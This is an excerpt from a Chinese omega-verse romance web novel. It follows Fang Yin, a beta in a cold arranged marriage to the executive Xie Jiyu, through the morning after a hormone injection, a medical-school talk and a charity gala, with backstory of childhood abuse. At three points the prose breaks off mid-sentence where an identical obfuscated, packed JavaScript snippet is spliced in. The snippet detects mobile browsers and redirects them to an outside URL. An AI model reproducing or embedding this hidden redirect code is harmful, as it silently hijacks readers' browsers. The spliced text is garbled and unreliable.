他随即挣开了谢积玉撑着他身体的那只手,坐在了谢积玉的身上,双腿蜷缩起来,把已经痛到麻木的膝盖重新跪回了床上。 方引乌黑的眼睫垂着,大约是因为流汗的缘故,眼角似乎泛着一些水光。 谢积玉用力扣住方引的腰,声音却带着一种残忍的冷静:“你还不高兴了。” 方引想将眼中那份热意压回去,他无法将家丑告诉谢积玉,却不意味着过了二十多年那样的日子他真的已经没有感觉了。 身体上的痛方引一贯能忍,只是绝望于这种痛或许没有终结的那天。 后来,那些隐秘角落中的不快被剧烈的动作粉碎了,生物对快乐的本能追逐占了上风。方引只觉得自己好久都没有这样脑袋空空过了,甚至追随着本能想去亲吻谢积玉的唇。 就算他们的身体再亲密,唇齿相依也是不一样的。 这是结婚三年来,方引第一次尝试做这件事。 这件事方引已经想了许多次,但是只要理智存活,他就不可能去将这个想法付诸行动。 但现在他的理智已经被强大的感性本能死死压制,于是方引就做了。 只是谢积玉迅速地制止了方引的动作,把人翻了个身,用手抵住方引的后颈,把他的脸紧紧地按在了柔软的枕头中。 春风还要继续呢喃很久。 不知过了多久,一缕晨光透过窗帘狭窄的缝隙,从孤零零躺在床尾地毯上的枕头,然后慢慢扫过了凌乱的床铺,最后经由扎着点滴的手背,落在了方引的眼皮上。 不到十分钟,方引便睁开了眼睛。 凌乱的房间还维持着本来的样子,谢积玉已经离开了,床上只有方引一个人。 他下意识地轻轻一动,才发现身体从里到外非常酸痛,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373257|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头脑却很清楚,昨晚那种几乎能把人吞没的骇人热潮已经消失殆尽。 “方先生,感觉还好吗?”管家适时出现,制止了方引准备去拿水杯的手,端起那杯水将吸管递到方引的唇边。 身体中水分几乎被烤干的焦渴让方引连一句谢谢都没来得及说,便喝下了大半杯水。 尔后,他才看到自己扎手背上的针管和一瓶快到底了的吊瓶。 方引嗓音沙哑:“这是怎么了?” 管家微微欠身:“昨天您用的针剂几乎要超过身体承受范围了,是会非常难受的,这个可以帮您快速消退不适。” 房间空气中甚至还有一些残留的气息,方引将自己遍布红痕的另一只手臂塞进被子里,装作好像什么事情都没发生过的样子。 吊瓶里的药液很快空了,管家还没来得及有所动作,方引已经抢先一步利落地拔掉了针管,按紧止血棉,两只手臂都塞进了被子里,只露出一张脸看着管家,声音低低的:“我想喝粥。” 管家点点头:“清粥已经在煮了,一刻钟后给您送上来可以吗?” “谢谢。” “对了,还有一件事,我想跟您说一下。”管家正准备出去的时候,却又像想起什么似的,退了回来,“omega针剂其实对身体并不好,您以后最好还是别用吧。” 方引在法律上是的谢积玉的伴侣,但是谢家的佣人们也明白,谢积玉并不喜欢他,所以他们对方引的态度就像对待一个客人。 后来他才渐渐明白过来,这或许跟人的素质是无关的,仅仅是世家大族里常见的、对其他人无视到一定程度就变成了“礼貌”。 唯一一个态度亲和一些的就是管家了,只是管家并不是个爱管闲事的人。 那一瞬间,方引立刻就明白了,这大概是谢积玉的吩咐。 昨晚可能不仅是谢积玉,连方引自己也被那针剂的效果给吓到,症状完完全全就是一个处在发热期的omega。 而且......昨晚方引隐约记得,自己比以往主动得太多,大概是真的对谢积玉产生了困扰。 只不过,如果自己不这样做,谢积玉以后的易感期要怎么处理呢? 易感期对alpha来说是一个永远跨不过去的问题,刚结婚的时候,方引很怕谢积玉跟方敬岁一样去外面找omega,那样自己也没有任何理由和立场反对。 但很快谢积玉洁癖的个性暴露出来,认为外面的人不干净,就勉强用他这个beta来凑数。 如果自己不用omega针剂,谢积玉的易感期自己还能帮他吗?或者是另一种更坏的突发情况,那就是或许有一个omega出现在了谢积玉的生活里,而且这个人很值得信任...... 方引的头隐隐作痛,那种无能为力的感觉又涌了上来。 他好像又回到了16岁那年,看着母亲因为摔倒受伤而被方敬岁的人抓住,看着自己的腿被方敬岁打成骨折......而方引却什么都做不了。 而他手里的东西本来就不多了。 管家面上有些忧虑:“方先生,有什么问题吗?” “我没事,没事。”方引点点头,下意识地重复了几句,声音低哑,“我知道了,以后不会再用了。” 8. 茧 夜幕降临,华灯初上。 首都今晚人潮最盛的地方莫过于国际赛马中心,无数的镜头正实时转播着国际赛马锦标赛的活动。 马场内无数明亮的大灯,几乎将赛道上正在风驰电掣的骏马每一个细节都照亮。观众的摇旗呐喊声、飞扬的马蹄声和广播解说的声音混在一起,点燃了这个夜晚。 在马场观众席顶层最好的视野上,谢积玉正坐在贵宾区里。 他依旧穿着白天开新闻发布会的那套西装,修长的双腿交叠,瘦削的手随意地搭在膝上。赛场的灯光透过玻璃递进来,让他手背上的青筋都凸显了出来。 与外面热火朝天、情绪高昂的比赛不同,谢积玉对比赛兴趣缺缺。 面无表情的时候,英挺的眉眼都显得严肃了许多。 这时有人声由远及近地传来,下一秒这个包间的门就被打开了。 “前面跑得那么顺,没想到最后就落后了半个马位输了!”关岭有些恨恨地坐在了沙发的另一侧,手里的彩票已经变得皱皱巴巴,“我最近是不是太倒霉了?” “不就一块手表的钱,你至于么。”沈涉不以为意地给自己倒了一杯酒,然后坐在了扶手椅上,“不过按照常理来说,你接下去还要继续倒霉一段时间才能结束。做好心理准备吧。” 关岭开了一罐啤酒一口气喝完,把那罐子捏扁了才作罢。 还没安静两分钟,一阵敲门声响起,三个服务员推着一个餐车走了进来。 餐车上的食物倒不算很新奇,最惹人注意的还是服务员的装扮。 三个omega都是身量纤瘦的类型,穿着修身西装马甲,头戴着粉色兔耳,身后还有一个团成一团的雪白的兔尾巴。 “这是我们马会经理的一点小心意。” 在场的三人,谢积玉是领杉投资集团的总裁,关岭是石油大亨的幺子,沈涉则是政治世家出身,家族里位置最高者曾当过联邦总统。 马会经理是什么意思不言而喻,餐食不过是添头,这三个omega才是主菜。 只是此时此刻,三人都对此没什么兴致,连客套也懒得说,关岭直接开口:“我们有话要说,没有吩咐不准进来。” 三个兔耳omega对视了一眼也不敢再停留,便乖乖地离开了。 “你这次动静可不小,我爸看到新闻的时候还数落了我一顿。”关岭转头望着谢积玉,“说我就知道玩,什么事情都不帮着他。你们说有我哥在,我犯得着操这个心吗?” 谢积玉松开了自己的领带,眉目之间凝聚了一天的紧绷感消散了一些,话语间有一种气定神闲的优雅:“事情也不会那么简单的。海底隧道一直造不成从来就不是技术和钱的问题,桌面下的因素才是最难搞的。” 关岭好奇道:“谢女士现在也高升了,有她在,相信不会太难吧?” 沈涉对这方面的敏感度比关岭强得多,直击要害:“有议长在,或许会更难吧。” “这个项目是她在中间牵线的。你们也看到了,总统现在因为这个项目民调数据一路高升。”谢积玉微微垂头,顶光让他的睫毛投下了一片看不清眼神的阴影,“反过来说,如果总统哪天失去了这个项目,那眼前的好光景就不复存在了。总统先生怎么会愿意?” “不愿意的话,不是被拿捏就是鱼死网破。”关岭家里虽说不从政,但这种套路也不少见,所以他也不惊讶,只问谢积玉,“那你预备怎么办?” 沈涉也坐到了谢积玉的身边:“这对你来说可是一个绝佳的机会,不能错过。只要能帮上你的,你尽管说。” 谢积玉点燃了一支烟,昏暗的包间当中,暗红色的火星忽明忽暗。他的表情很静,像是垂目的石刻,好一会之后才对关岭道:“我记得,你跟加兰斯的洛莉公主是大学同学吧?” 关岭迟疑了一会之后点点头:“怎么忽然提到她?” “我下个月想跟她见一面聊聊天,你帮忙牵个线。” “这人吧......有点难请啊。”关岭的表情有些为难,“毕竟王室的人还是比较敏感的,容易被媒体大做文章,为了避嫌她不一定能答应我。” “过段时间有一个网球公开赛,公主来现场为自家选手加油不是很正常么。”谢积玉吐了一个烟圈,之后才缓缓道,“你帮我联系上就行。她要是知道来一趟就是得到她那个王子哥哥的把柄,肯定求之不得。” 关岭瞪圆了眼睛:“这你都能弄到?” 沈涉不禁摇摇头:“看来加兰斯下一任国王的人选还挺有悬念。” 谢积玉耸了耸肩,把这个看似寻常的动作竟然也做得十分优雅:“只要公主想,就可以没有悬念。” 屋里静默了一会。 作为谢积玉十几年的朋友,他们不质疑这句话的真实性。 “这次你要是成了,我看就算不能盖过谢议长,也能平起平坐了,应该是个非常有利的筹码。别的不说,那个方引你应该能成功甩掉了吧。”沈涉倒了一杯香槟递给谢积玉,“就当是我提前给你庆祝了。” 香槟光泽鲜明,清澈澄亮,在覆盆子和黄苹果的香味中,还有一丝橘花的芬芳,柔美又馥郁,像是胜利的甜美果实。 谢积玉接过那杯香槟,还没来得及喝门便被敲响了,谢积玉的私人助理推开门道:“谢总,颁奖仪式将在15分钟后开始。经理请您下去,市长和马会总裁已经到了,颁奖嘉宾要做准备了。” 谢积玉头也不回地抬起了手,回了一句:“知道了。” 关岭忽然想到了什么似的:“颁奖结束后还有个酒会,你参加吗?” 谢积玉放下了那杯香槟:“这个风头就留给他们吧,我不感兴趣。” “那等会结束一起‘夜色’坐坐?”关岭眉毛微挑,语气带着一丝狡黠,“你的易感期是不是快到了,那里新来的omega,绝对干净。” 可谢积玉的脸上并没有什么表情,眼神复杂地看了关岭半晌才开口:“你觉得我不找omega是找不到吗?” 说罢站起身来,推门走了出去。 沈涉有些疑惑地看着谢积玉的背影:“这是打算易感期都自己硬扛?” “可看他的样子倒不像是硬扛,像是在哪里吃饱了。”关岭眨了一下眼,对沈涉做了一个狡黠的表情,“或许咱们这位方引同学,还真有点本事在身上。” 沈涉的声音却冷了几度下来:“一个beta,迟早用完就扔。” - “近三年,首都医务工作者中beta的比例在稳步上升。”方引翻过一页幻灯片,扭头指着大屏幕上的折线图,“其实从医科大近十年的入学数据来看,beta所占的比例总体也是呈现上升趋势的。可见无论在学界还是业界,beta所独有的优势是有被正视和认可的。” 话音落下,人头攒动的大学礼堂里,好些学生举起了手。 方引扫视一圈,决定将发言权交给坐在后排的一个男生。 “学长,我想请问一下。你当了几年的医生,就没有遇到过那种易感期到来的狂躁alpha吗?根据书上说的,这个时候alpha的力量都会增长很多——例如奥运会的举重项目,都需要选手避开易感期。”新生对接下来要问出口的问题已经有了自信,声音都不自觉地高了几度,“我想知道,当你遇到这样的病人,会求助于alpha同事吗?谢谢,我问完了。” 方引莫名想起今早穿衣服的时候,腰侧已经转青的指痕。 他低头轻咳了一下,然后点头示意对方坐下,接着四两拨千斤地轻声回答:“如果力量能代表一切,那现在统治地球的应该是犀牛和大象之类的动物吧?我们就没机会在这里聊天了。” 学生中爆发出一阵笑声和掌声,那个男生的脸也肉眼可见地红了。 只不过今天这场交流会是方引给医科大学beta新生做交流,他也知道那个男生并不带着恶意,只是将自己的问题换了一个方式问,于是便抬手做了一下手心下压的动作,示意其他人安静。 “易感期出现狂躁现象的alpha已经没有了理智,而医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373258|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院是一个最冷静专业的人的结合体,控制他们的方法已经非常熟练且有效。放心,而这些内容在你们学习专业课的时候自然就会明白,在这里就不做展开了。”方引双手手指相扣,撑在下巴下方,“今天非常高兴能作为前辈跟各位联邦未来的救死扶伤的医务人员交流。在这条路上,作为不会被信息素控制的beta,是可以在很多突发的关键时候起到无法代替的作用。我们要做的就是不断学习和进步,巩固那条独属于我们的护城河。谢谢大家。” 礼堂里的掌声经久不息。 到了午饭时间,学生们陆陆续续地离开了,还有几个人围着方引问一些专业问题。方引其实还挺喜欢跟年轻人聊天,只是今天实在是还有事情要做,交流了一刻钟便找理由推脱掉了。 方引出了礼堂之后,穿过医科大那刚刚抽出绿叶的合欢花林荫道,经过一池还没打花苞的睡莲,转进了学院的一个办公室里。 “苏教授,好久不见了。”方引微笑着把一盒茶叶放在办公桌上,然后桌前头发花白的老教授伸出手去,“本来早该来看您的,就是最近手术太多了。” 苏达摘下鼻梁上的眼镜,笑着站起身来握住方引的手:“那还是工作重要,反正现在我回来了,有的是时间嘛。” 两人走到小沙发上坐下,方引聊起了自己的工作和今天的演讲,苏达也说了许多他这几年在国外工作的事情,说到后面的时候老教授有点伤感:“那次在边境碰到武装冲突,就算是我这个做了几十年医生的人,也不免觉得那场面实在是......所以觉得再次回来教书,也是挺不错的选择。” 苏达的新办公室里挂了一墙的照片,都是他这些年跑到各种地方游历的留念。 方引的目光慢慢扫过那些照片,看得很是仔细,然后目光停在其中一张照片上。 苏达站起来指着那张照片说:“当时跟这人一起在热带大陆的古村里行医,他听了村民的话,说古村的山里有一种能让瘫痪的人恢复行走的草药,偏拉着我去找,最后被弄得狼狈不堪。” 照片里,两个穿着冲锋衣的、头发半白的人站在泥泞的小路上,狼狈确实是狼狈,头发湿漉漉地贴在头上,冲锋衣上有好几处裂口,眼镜斜着耷拉在脸上。 苏达的脸上透露出生无可恋的神情,旁边的人看上去倒是很亢奋。 方引贴着照片仔细看,指着另一个人手里的黑袋子道:“真有在山里找到什么吗?” 苏达耸了耸肩:“那是我摘的野果子,不然要饿死在山里了。” 方引忽然沉默了,重新坐好之后才开口道:“这位就是我读书那时候,帮一个将军取出卡在脊椎里的弹片,完全避免了瘫痪的罗伯特医生吧?” “是啊,当时确实在医学界名声大噪,那么高风险的手术,全球都没几个人敢下手的。”苏达打开了方引送的茶,用热水泡了,咂摸了一会认可地点点头,“这茶不错。” 方引踌躇了一会,咬了咬牙之后开口道:“教授,其实我今天还有一个不情之请——我有一个朋友,有跟那个案例相似的问题。您能帮我联系到罗伯特教授吗?我想跟他请教一些问题。” 苏达摆摆手:“他脾气怪得很,现在不知道在哪里隐居呢。其实这种手术吧,不用一味追求说完全不会有后遗症,作为医生你也知道,这个只能拼概率的事情不太现实。如果找个顶级的团队做手术,之后花几年时间好好疗养,还是很有机会恢复正常生活的。总比身体里藏个定时炸弹,不知道什么时候就会爆炸好吧?” 方引眼神的热切悄然退却,嘴角勾出一个礼节性的弧度,嗓音干涩:“是啊,其实我也是这样想的。” 一场交谈结束,等方引再次走到外面的时候,天边已经出现了一片大雨将至的暗色。 手机的屏幕亮了起来,弹出一条新的信息:我下周四做体检,你早点来。 对方的头像是社交软件新人基础设置的灰白色,名字也是一片空白。 这方天地的第一滴雨落在了那行字上,方引回道:我会的。 9. 慈善晚宴 连绵几天的大雨过后,暮春的温度渐渐回暖,空气温柔得像是一层轻柔的薄纱。 深云里庄园处在峡湾的中心地带,傍晚的时候,不远处的翠绿绵延的峡谷被浅紫色的薄云环绕,倒映在静谧的湾流中。 今天的晚宴注定是名流云集,方引为了避免碰到一些不想碰到的人,便在晚宴开始之前就早早地到了,一个人在庄园后面的花园里散步。 今晚的宾客应该都是冲着谢积玉来的,所以只要他在这里,大概率也碰不到什么熟人。 本来他是并不打算来的,只是方澄今晚在场,方引还是有些不放心,就怕他会做出什么出格的事情来,令谢积玉不悦。 令方引踌躇了许久的邀请函来得也异常顺利,他对谢积玉只说自己和方澄都对今晚宴会的拍品有兴趣,谢积玉并没有多问便同意了。 方引还记得自己跟谢积玉的婚事定下来之前出了一次车祸,他躺在病床上的时候,方澄就曾对他说过,反正是联姻,他这个omega反而更适合谢积玉。 幸好车祸不是很严重,方澄此后也没再提起这个事情,但方引的心里总是有些不安。 方澄的母亲在方引婚后不久就去了国外的分公司,一直没回过方家。方引一开始还以为只是业务太忙,后来逢年过节也不见人就更奇怪了。 然后方引通过多人才辗转打听到,方澄的母亲在那个分公司里只是个挂名董事,相当于是被方敬岁给架空了,没什么权力。 虽然方引不知道其中发生了什么,但方澄绝对不是个会坐视不理的儿子。为了增加自己向方敬岁说情的筹码,想借这次项目的机会攀上谢积玉这根高枝也不算奇怪。 而且,这晚宴还是方敬岁主动提让方澄来参加的。最坏的打算大概是方澄已经在方敬岁面前许下了什么承诺,事成之后就如何如何...... 方引深吸了一口气,水池里白色睡莲的清冷幽香令他的头脑稍微清醒了一些。 在谢积玉心里,他已经是一个上不得台面的非婚生子了,方澄到底跟他血脉相连,他不想让方家更多的不堪和扭曲显露在谢积玉的面前。 天色渐渐暗下来,在黄昏和黑夜的交替时间总有一种格外虚幻的氛围。天空像是一块纯净的紫宝石,让花园里那些被精心打理过的花木都像是蒙了面纱的美人。 深云里这个庄园建了已有百年,据说是因为黎明和夜晚的时候,建在峡湾高点的山庄像是被云彩环绕,景色美不胜收,才因此得名。 庄园创始人当年想与爱人避世才建了这个庄园,所以一花一木,一砖一瓦都是精挑细选,倾注心血才建设成的。尽管经过已经过去了百年,依然可见当年的风貌。 方引又闲逛了一会之后,远处的宴会厅的灯光在越来越黑的天色衬托下愈发耀眼,隐约可见身着华服的名流在爬满白玫瑰的拱形窗路过,宴会快开始了。 方引回到宴会厅里,找了一个相对昏暗一些的窗边站着,他今天穿了一身简约低调的黑西装,几乎没有人注意到他的存在,这也让他觉得很安全。 好几位新闻上常见的高官在特勤人员的护送下走了进来,后面紧接着进来的还有好几位国会议员,穿过墨绿色的幕帘,都被引导着去了二楼。 谢积玉还没出现,估计也在二楼吧。 方引的目光细细地在衣香鬓影的人群中扫过,很容易就发现了方澄。 方澄的长相在omega中都称得上是相当漂亮,栗色的微卷发,皮肤白皙,双唇嫣红,一双圆圆的眼睛在灯光下像一湖水般波光粼粼。 刚得父亲重视的omega端着一杯香槟,正跟好几个同龄人闲聊,看样子应该是方澄的朋友。他们正聊得开心的样子,肢体动作也很放松,没有什么不正常的地方。 方引的心里微微松了口气。 “你好?”一个声音忽然在方引的身边响起,差点让他被刚才那口气给呛着。 方引转过头看去,一张有些眼熟的脸出现在了他的面前。 来人俊秀文雅,眼睛里带着浅笑,把一杯香槟送到方引手里,嗓音温润:“还认得出我吗?” 无数少年时代的回忆从思绪中牵引出来,方引有些惊讶地双眼都圆了:“昭宁哥?” 裴昭宁微微一笑,用自己手里的酒杯给方引的酒杯轻轻碰了一下:“好久不见。” 十几年过去,眼前的人成熟了许多,方引在一刹那间有些恍惚,许多回忆都鲜活了起来。 方引小时候没有同龄人愿意跟他一起玩,等方澄会跑会跳的时候,方引的处境就更加艰难。裴家跟方家是世交,那时裴家的公司经营不稳定,于是把裴昭宁放在方家养了几年,方引和他就是在那个时候认识的。 裴昭宁大方引两岁,为人一直很温和,无论对谁都很好。当年裴昭宁念书的时候,顶多就一个月回方家一次,虽然一次只能呆两天左右的时间,但这是当年的方引最期待的时候了。 当时每次回来,裴昭宁都会带一些有趣的故事书、漫画和玩具给方引,但方引玩的时候也要小心翼翼,如果被方澄看到之后抢过去,就连这么一点乐趣都没了。 后来裴昭宁上高中的时候,裴家缓过来了,裴昭宁就跟着父母去了联邦北部,跟方引就这么断了联系。距离这次突如其来的再见面,已经过去了十几年。 “好久不见。”方引喝了一小口酒,“你今天怎么会来这里?” 裴昭宁侧身示意方澄所在的方向,低声道:“我听方伯父说今天你和他都在,方澄小孩子脾气,怕他在这种场合不自在。当然,主要是想见你叙叙旧。” 方引沉默了一会,勉强扯出一个笑:“原来是这样。” 裴昭宁向来温和,又一直生活在象牙塔里,就算从小方澄就算抢方引的东西,也只是被裴昭宁认为是小孩子之间闹脾气,总是在其中尽力调和。 方引自己也一直避免把裴昭宁扯到这些事情里。 “可能以后我就要常驻首都了,收购了一家公司,要忙的事情还有很多。”裴昭宁侧身从餐盘里取了一小块玛德琳蛋糕递给方引,“我记得你小时候是不是最爱吃这个?” 方引的动作顿了一下,伸手接了过来:“谢谢。” 其实方引谈不上喜欢不喜欢,只是裴昭宁当年在管束严格的方家,经常偷偷带外面的东西给方引吃,方引也觉得新鲜。长此以往,裴昭宁就以为这是方引的爱好。 方引不想拂了裴昭宁的好意,于是他礼貌性地尝了一小口。 裴昭宁看了他半晌,忽然伸出手来靠近他的脸。 方引本能地侧了一下头避开,裴昭宁的手僵在空中。 “你的眼镜上落了一根头发。”裴昭宁说完之后,看着方引的眼睛,确认方引不会再动,才移动了一下手拿掉了那根头发,“什么时候开始戴眼镜的啊,我都不知道。” “谢谢。”方引把那蛋糕放在桌上,“学医嘛,不可避免的。” 这话方引只说了一半,当年高二结束之后的一年,方引被锁在方家的地下室里。那个地方光线昏暗,在那种环境下看书,视力怎么会好。 只是那个时候裴昭宁已经离开方家两年了,自然不知道这些事情。 两个人又闲聊了几句,很快那个绿色的幕帘再次被拉开,谢积玉走了出来,霎时吸引了所有人的目光。 谢积玉站在话筒前,抬手浅笑,一瞬间媒体的相机响个不停。 这是一场为联邦儿童基金会所设立的慈善晚宴,名流们拿出自己的珠宝玉器和古玩字画拍卖,到时候拍卖所得全部都会捐赠给基金会。 只是所有人都心照不宣,这场晚宴并不止这个目的,核心还是海底隧道,所有媒体都在为演讲结束过后的采访摩拳擦掌,早早地就占据了有利的采访位置。 “谢积玉右侧方那个落地灯边上站着的两个人。”裴昭宁在方引的耳低声开口,用眼神示意方向,“那个打领带的是机能石油的小儿子,叫关岭。边上那个带领结的叫沈涉,高官云集的大家族出来的,他现在是海洋开发委员会的理事长。谢积玉拉到这两方助力,实在是不容小觑。” 方引微微皱眉。 其实这三个人从念书的时候就常常在一起玩,连方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373259|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引都知道,关岭和沈涉应该算是谢积玉相对最亲密的朋友。可以说他们之间现在有利益的合作,但确实不能说是因为利益而联合在一起的。 但裴昭宁毕竟多年不在首都,这么想也实在是正常,方引也不便多说,只点点头作罢。 裴昭宁轻轻挪了一下步子,与方引肩膀相贴:“我来之前查了一下,谢积玉跟你好像是同一年读的同一个高中。你跟他没有往来吗?” “一个学校那么多人呢,同班同学都有没说过几句话的,更何况只是一个.....”方引低声耳语,最后两个字有些像是一口无名的叹息,“校友。” 裴昭宁耸了耸肩:“好吧,本来这次方伯父也让你过来,应该是有意要让你多认认人,以后也好接方家的生意。不过也不用着急,等会你和方澄跟我一起去打个招呼。” 方引不置可否。 裴昭宁很快看到另一个还有一个熟人,便离开了方引的身边。 方引终于有时间将全部的注意力放在了谢积玉身上。 谢积玉穿着不菲的私人订制西装,领口、袖口和裤脚无一不是利落挺括的,英俊的面孔在无数闪烁着的镁光等下依旧完美无缺。短暂的开场演讲结束后,谢积玉对着镜头举起香槟,抬手的时候,那颗钻石袖扣闪闪发光。 或许是因为很久没有用这种方式去看谢积玉了,尽管两人几天前还以最亲密的姿态相贴,但此刻方引还是真实地产生了一种巨大的距离感。 尽管看上去双方在家庭上是对等的,但方引心里一直明白,他们一人活在高楼上,一人活在阴沟里。被强行牵扯在一起的人,只有偶尔的□□相贴的时候会带来一些虚假的亲密感,其他时刻则距离很远。 不过这种远距离对方引来说也不是没有好处,谢积玉从来不会注意到,不,应该叫做下意识地不会选择去注意到他身上的那些细节,这反而让方引可以伪装得更加体面。 就像那天方引被罚跪几个小时后膝盖上的伤,谢积玉还以为他是在柔软的床铺上跪出来的。 有那样一个扭曲的家庭,方引从很小就学会了面不改色地扯谎。 在方家,无论是母亲做了什么让方敬岁不满的事情,还是自己做了让他不满的事情,都会以体罚作为威胁和惩戒。 少年时的方引身上时常带着伤去上学,冬天的时候还好,厚重的棉衣能遮掩得很好。等天气热起来,有同学会问起伤的来源,大部分时候方引将其解释为摔的撞的,也能蒙混过去。 只是被绳子绑着、被鞭子抽出来的痕迹却很难用意外去解释,一开始方引说遇到了混混,越到后来就越没人信。 甚至有一段时间,学校里开始传着一些特别难听的话,大约就是方引在做什么见不得光的事情,都往下三路引导。 方引还没来得及烦恼这件事,他当时准备了许久的带母亲逃跑的计划失败了。 等一年后方引再次去学校的时候,那些流言已经消失了。 后来方引也学会了装乖,方敬岁大概是以为那被关在地下室一年的经历让方引知道害怕了,便很少再严厉地体罚他了。 那些少年时代一块块淤青、一条条血痕,就这样在方引的身上消失了,像是从来都没有存在过。 方引从结婚那一刻起就决定,无论这段婚姻什么时候结束,他都要在此之前在谢积玉面前保持基本的体面,不让他知晓自己难堪的过往。 或许谢积玉知道了也不会在意,获取念及他们在一个屋檐下几年,会有两句场面上的同情。 但方引从来都不想要这样的同情,他唯独不想让谢积玉把他当成一个卖惨的弱者。 以谢积玉目前的能力,他总有一天能青出于蓝,彻底把母亲的势力给压下去。那到时候,这段被逼的婚姻也自然就得被扫进垃圾堆里,无声无息地结束掉。 现在的谢积玉行事愈发高调,在媒体面前越来越频繁地出现,这就是他与谢惊鸿对抗的舆论手段之一。 方引觉得,离婚的那一天或许不远了。 在此之前,他无论如何也要守住这些过往的秘密。 10. 自荐枕席 谢积玉话音落下,收获了一片掌声。 一群名流优雅地聚集到刚下来的谢积玉身边,只过了一刹那的功夫,方引便只能看到谢积玉的侧脸。被人群围着却也从容应对,偶尔点头或者答两句话,像一只高雅的鹤。 裴昭宁两步走到方引身边:“等会你跟我一起。” 方引摇摇头:“算了吧,我没什么必要去认识他。你们去吧,我在这就好。” 裴昭宁不解其中的深意,他拉住方引的手腕,声音温柔:“一个问好而已,只有好处不会有坏处。如果以后你来继承方家,这都交道是必不可少的。” 一边的方澄那张漂亮的脸阴沉沉的,只是没有发作,反而拉紧了裴昭宁的另一只手臂。 方引知道自己不可能继承方家,只是当下确实不方便在在大庭广众之下跟裴昭宁拉拉扯扯,便任由他牵着手腕靠近人群中心。 近了之后才发现有人正在跟谢积玉说话。 “......我家这个孩子,真是被我惯坏了。等国会预算审批结束成立项目公司的时候,我让他去给你当项目助理,好好磨磨脾气。” 说着,那人就把他的儿子往前推了一步。 在场的所有人都知道这是什么意思,几个脸色有变的人无非是有同样想法的。 那个omega长得实在是好看,每一缕发丝都像是精心打理过,伸出去的手指如葱白一般,连指甲都散发着莹润的粉光:“谢总,以后还要请你多指教。” 谢积玉没有去握对方的手,但脸上的神情未变:“我的助理可不是那么好当的。” “我也需要磨砺,所以不怕苦。”omega自然地撤回了手,笑起来那双酒窝里都像是酿着蜜。 “苦倒是其次的。”谢积玉在那一刻眼睛里的笑意少了些,不是平常亲近的人估计都看不出来有什么变化,声音里不带任何感情,“不知道你目前已经取得了哪些学位证书?有几门语言可以当做工作语言?还有相关的工作经历,以及,你觉得你相较于其他来应聘的人有什么差异化优势?” 关岭站在谢积玉身边,抿住双唇,深深地低下了头来掩饰自己想笑的冲动,肩膀都有些发抖。 一场想推着人爬谢积玉床的对话,愣是被谢积玉变成了招聘会现场。 omega的嘴角僵硬了,还是他父亲反应快:“都在学习中呢,他毕竟还小嘛,才20岁。如果能有幸在谢总麾下历练,得到这些都是迟早的。” “不小了。”谢积玉很正经地开口,彻底用话头彻底断了在场所有人的念想,“我现在的助理,16岁的时候就取得硕士学位了。” “......” 人群瞬间死寂。 那父子俩的表情一同衰败了下去,白着脸一边磕磕巴巴地感谢谢积玉的指教,一边从人群中拨出一条不知道通向哪里的路,背影很快消失了。 关岭凑近谢积玉,压低声音:“这有点狠了吧?” 谢积玉自如地跟关岭碰了一下酒杯:“谢谢。” 关岭:“......” 谢积玉的洁癖重起来确实是这样的,遇到这些人恨不得将身体用防弹玻璃物理隔绝起来,任何声音和触碰都让他不适,比童话里的豌豆公主还难伺候。 今天已经算是考虑到场合性质,给对方台阶下了。 尔后,谢积玉的目光穿过面前的一层人群,落在了后面方引的身上。 方引被那冷冷的眼神看得心里有些发毛,觉得自己不该在这种时候触到谢积玉的霉头,便要将手腕从裴昭宁的手里扯出来准备找借口离开。 关岭在这个时候却抢先打了招呼:“方引,巧啊。” 裴昭宁向着方引投过去了一个有些惊讶的眼神,方引当下没法解释,挣开裴昭宁握着他的手,点了一下头:“你好,关先生。” 关岭性格比较大大咧咧的,并不在乎谢积玉投过去的眼刀,高高兴兴地上前搂住方引的肩膀,将人拉离了裴昭宁和方澄的身边:“老同学了,客气什么。” 方引硬着头皮笑了一下,然后又跟谢积玉打招呼,声音有些弱了下去:“谢先生好。” 谢积玉完全没有看方引,他的眼神扫过方澄和裴昭宁之后冷淡地“嗯”了一声,然后道:“时间差不多了,拍卖会要开始了。” “那我就......” “那敢情好,我也站累了。” 方引还没下完台阶就被关岭打断了,关岭依旧紧紧地搂着方引,眉开眼笑地接着道:“怎么样?拍卖厅我那个位置边上还有空位,你跟我坐一起吧?我们叙叙旧。” 在场的人脸色都有一些变化。 座位表所有人都看过,关岭跟谢积玉中间就隔了两三个座位。虽说座位上都贴了名字,需要对号入座,但反过来说没贴名字的座位,中间就有操作空间。 